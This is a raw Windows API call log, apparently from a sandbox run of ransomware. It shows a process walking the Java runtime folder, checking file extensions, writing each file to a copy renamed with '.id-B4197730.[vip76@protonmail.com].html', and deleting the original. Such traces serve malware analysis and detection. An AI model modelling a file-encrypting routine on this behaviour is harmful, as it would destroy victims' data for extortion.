	[0172.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.807] lstrlenW (lpString=".doc") returned 4
	[0172.807] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString=".docx") returned 5
	[0172.807] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.807] lstrlenW (lpString=".pdf") returned 4
	[0172.807] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString=".xls") returned 4
	[0172.807] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString=".xlsx") returned 5
	[0172.807] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.807] lstrlenW (lpString=".ppt") returned 4
	[0172.807] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.807] lstrlenW (lpString=".zip") returned 4
	[0172.807] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString=".rar") returned 4
	[0172.807] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString=".bz2") returned 4
	[0172.807] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.807] lstrlenW (lpString=".7z") returned 3
	[0172.807] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.807] lstrlenW (lpString=".dbf") returned 4
	[0172.808] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.808] lstrlenW (lpString=".1cd") returned 4
	[0172.808] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0172.808] lstrlenW (lpString=".jpg") returned 4
	[0172.808] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.810] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.810] lstrlenW (lpString="messages_zh_CN.properties") returned 25
	[0172.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.074] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4072) returned 1
	[0173.074] CloseHandle (hObject=0x588) returned 1
	[0173.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20
	[0173.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.694] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.705] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.707] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.707] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.962] GetLastError () returned 0x0
	[0173.962] ReadFile (in: hFile=0x580, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xfe8, lpOverlapped=0x0) returned 1
	[0173.964] WriteFile (in: hFile=0x5b8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0173.965] ReadFile (in: hFile=0x580, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.965] WriteFile (in: hFile=0x5b8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0173.965] SetEndOfFile (hFile=0x5b8) returned 1
	[0173.965] CloseHandle (hObject=0x5b8) returned 1
	[0173.965] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.965] SetEndOfFile (hFile=0x580) returned 1
	[0173.969] CloseHandle (hObject=0x580) returned 1
	[0173.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.970] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1
	[0173.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.970] lstrlenW (lpString=".doc") returned 4
	[0173.970] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.970] lstrlenW (lpString=".docx") returned 5
	[0173.970] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.970] lstrlenW (lpString=".pdf") returned 4
	[0173.970] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.970] lstrlenW (lpString=".xls") returned 4
	[0173.970] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.970] lstrlenW (lpString=".xlsx") returned 5
	[0173.971] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.971] lstrlenW (lpString=".ppt") returned 4
	[0173.971] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.971] lstrlenW (lpString=".zip") returned 4
	[0173.971] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString=".rar") returned 4
	[0173.971] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString=".bz2") returned 4
	[0173.971] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString=".7z") returned 3
	[0173.971] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.971] lstrlenW (lpString=".dbf") returned 4
	[0173.971] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.971] lstrlenW (lpString=".1cd") returned 4
	[0173.971] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.971] lstrlenW (lpString=".jpg") returned 4
	[0173.971] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.971] lstrlenW (lpString=".doc") returned 4
	[0173.971] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString=".docx") returned 5
	[0173.971] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.971] lstrlenW (lpString=".pdf") returned 4
	[0173.971] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.971] lstrlenW (lpString=".xls") returned 4
	[0173.971] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString=".xlsx") returned 5
	[0173.972] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.972] lstrlenW (lpString=".ppt") returned 4
	[0173.972] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.972] lstrlenW (lpString=".zip") returned 4
	[0173.972] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString=".rar") returned 4
	[0173.972] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString=".bz2") returned 4
	[0173.972] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString=".7z") returned 3
	[0173.972] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.972] lstrlenW (lpString=".dbf") returned 4
	[0173.972] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.972] lstrlenW (lpString=".1cd") returned 4
	[0173.972] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0173.972] lstrlenW (lpString=".jpg") returned 4
	[0173.972] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.972] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".html") returned -1
	[0173.972] lstrlenW (lpString="meta-index") returned 10
	[0173.972] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.974] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1461) returned 1
	[0173.974] CloseHandle (hObject=0x5b8) returned 1
	[0173.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20
	[0173.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.974] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.974] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.974] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.975] GetLastError () returned 0x0
	[0173.975] ReadFile (in: hFile=0x5b8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5b5, lpOverlapped=0x0) returned 1
	[0173.976] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0173.977] ReadFile (in: hFile=0x5b8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.977] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0173.978] SetEndOfFile (hFile=0x580) returned 1
	[0173.978] CloseHandle (hObject=0x580) returned 1
	[0173.978] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.978] SetEndOfFile (hFile=0x5b8) returned 1
	[0173.981] CloseHandle (hObject=0x5b8) returned 1
	[0173.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.981] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1
	[0173.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.982] lstrlenW (lpString=".doc") returned 4
	[0173.982] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString=".docx") returned 5
	[0173.982] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0173.982] lstrlenW (lpString=".pdf") returned 4
	[0173.982] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString=".xls") returned 4
	[0173.982] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString=".xlsx") returned 5
	[0173.982] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0173.982] lstrlenW (lpString=".ppt") returned 4
	[0173.982] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.982] lstrlenW (lpString=".zip") returned 4
	[0173.982] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString=".rar") returned 4
	[0173.982] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString=".bz2") returned 4
	[0173.982] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0173.982] lstrlenW (lpString=".7z") returned 3
	[0173.982] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0173.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.982] lstrlenW (lpString=".dbf") returned 4
	[0173.983] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0173.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.983] lstrlenW (lpString=".1cd") returned 4
	[0173.983] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0173.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.983] lstrlenW (lpString=".jpg") returned 4
	[0173.983] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0173.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.983] lstrlenW (lpString=".doc") returned 4
	[0173.983] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0173.983] lstrlenW (lpString=".docx") returned 5
	[0173.983] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0173.983] lstrlenW (lpString=".pdf") returned 4
	[0173.983] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0173.983] lstrlenW (lpString=".xls") returned 4
	[0173.983] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0173.983] lstrlenW (lpString=".xlsx") returned 5
	[0173.983] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0173.984] lstrlenW (lpString=".ppt") returned 4
	[0173.984] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0173.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.984] lstrlenW (lpString=".zip") returned 4
	[0173.984] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0173.984] lstrlenW (lpString=".rar") returned 4
	[0173.984] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0173.984] lstrlenW (lpString=".bz2") returned 4
	[0173.984] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0173.984] lstrlenW (lpString=".7z") returned 3
	[0173.984] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0173.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.984] lstrlenW (lpString=".dbf") returned 4
	[0173.984] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0173.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.984] lstrlenW (lpString=".1cd") returned 4
	[0173.984] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0173.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0173.984] lstrlenW (lpString=".jpg") returned 4
	[0173.984] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0173.984] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.984] lstrlenW (lpString="nashorn.jar") returned 11
	[0173.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.985] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2022734) returned 1
	[0173.985] CloseHandle (hObject=0x5b8) returned 1
	[0173.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20
	[0173.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0173.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.986] lstrlenW (lpString=".doc") returned 4
	[0173.986] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.986] lstrlenW (lpString=".docx") returned 5
	[0173.986] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0173.986] lstrlenW (lpString=".pdf") returned 4
	[0173.986] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.986] lstrlenW (lpString=".xls") returned 4
	[0173.986] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.986] lstrlenW (lpString=".xlsx") returned 5
	[0173.986] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0173.986] lstrlenW (lpString=".ppt") returned 4
	[0173.986] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.987] lstrlenW (lpString=".zip") returned 4
	[0173.987] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.987] lstrlenW (lpString=".rar") returned 4
	[0173.987] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.987] lstrlenW (lpString=".bz2") returned 4
	[0173.987] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.987] lstrlenW (lpString=".7z") returned 3
	[0173.987] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.987] lstrlenW (lpString=".dbf") returned 4
	[0173.987] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.987] lstrlenW (lpString=".1cd") returned 4
	[0173.987] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.987] lstrlenW (lpString=".jpg") returned 4
	[0173.987] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.987] lstrlenW (lpString=".doc") returned 4
	[0173.987] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.987] lstrlenW (lpString=".docx") returned 5
	[0173.987] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0173.987] lstrlenW (lpString=".pdf") returned 4
	[0173.987] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.987] lstrlenW (lpString=".xls") returned 4
	[0173.987] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.987] lstrlenW (lpString=".xlsx") returned 5
	[0173.987] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0173.988] lstrlenW (lpString=".ppt") returned 4
	[0173.988] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.988] lstrlenW (lpString=".zip") returned 4
	[0173.988] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.988] lstrlenW (lpString=".rar") returned 4
	[0173.988] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.988] lstrlenW (lpString=".bz2") returned 4
	[0173.988] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.988] lstrlenW (lpString=".7z") returned 3
	[0173.988] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.988] lstrlenW (lpString=".dbf") returned 4
	[0173.988] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.988] lstrlenW (lpString=".1cd") returned 4
	[0173.988] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0173.988] lstrlenW (lpString=".jpg") returned 4
	[0173.989] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.989] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.989] lstrlenW (lpString="sunec.jar") returned 9
	[0173.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.991] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=42185) returned 1
	[0173.991] CloseHandle (hObject=0x5b8) returned 1
	[0173.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20
	[0173.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
